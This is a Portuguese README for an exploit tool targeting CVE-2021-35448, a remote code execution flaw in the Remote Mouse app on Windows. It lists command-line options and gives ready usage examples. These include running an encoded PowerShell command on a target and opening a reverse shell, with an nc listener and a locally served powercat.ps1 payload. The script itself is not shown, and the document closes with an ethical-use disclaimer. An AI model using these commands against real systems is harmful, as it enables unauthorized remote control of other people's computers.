CVE-2021-35448 - Exploração do Remote Mouse

Descrição

Este exploit visa a vulnerabilidade CVE-2021-35448 no aplicativo Remote Mouse (anteriormente WiFi Mouse).

POC

CVE-2021-35448.webm

Uso

Sintaxe Básica

python3 CVE-2021-35448.py -t <TARGET_IP> [OPTIONS]

Opções

• -t, --target: Endereço IP do alvo (obrigatório)
• -p, --payload: Comando personalizado a executar
• -r, --reverse: Shell reverso no formato IP:PORTA
• -l, --http: Servidor HTTP local no formato IP:PORTA (obrigatório com -r)

Exemplos de Uso

1. Comando Personalizado

python3 CVE-2021-35448.py -t 192.168.1.100 -p "Powershell -e JAB...=="

2. Shell Reverso (Recomendado)

# Terminal 1 - Listener
nc -nlvp 4444

# Terminal 2 - Exploit
python3 CVE-2021-35448.py -t $REMOTESERVER_IP -r $REVSHELL_IP:$PORT -l 0.0.0.0:$PORT

Pré-requisitos

Arquivos Necessários

• CVE-2021-35448.py: Script principal de exploração
• powercat.ps1: Script PowerShell para shells reversos

Sistema Alvo

• Remote Mouse instalado e em execução
• Sistema Windows (testado no Windows 10)

Aviso

⚠️ APENAS USO ÉTICO ⚠️

Esta ferramenta destina-se apenas a fins educacionais e testes de penetração autorizados. O uso não autorizado deste exploit é ilegal e pode resultar em processo judicial.

Referências

• WiFi Mouse 1.7.8.5 - Execução Remota de Código
• Detalhes do CVE-2021-35448

Autor

Desenvolvido para fins educacionais e testes de penetração éticos.

---

Última atualização: 2025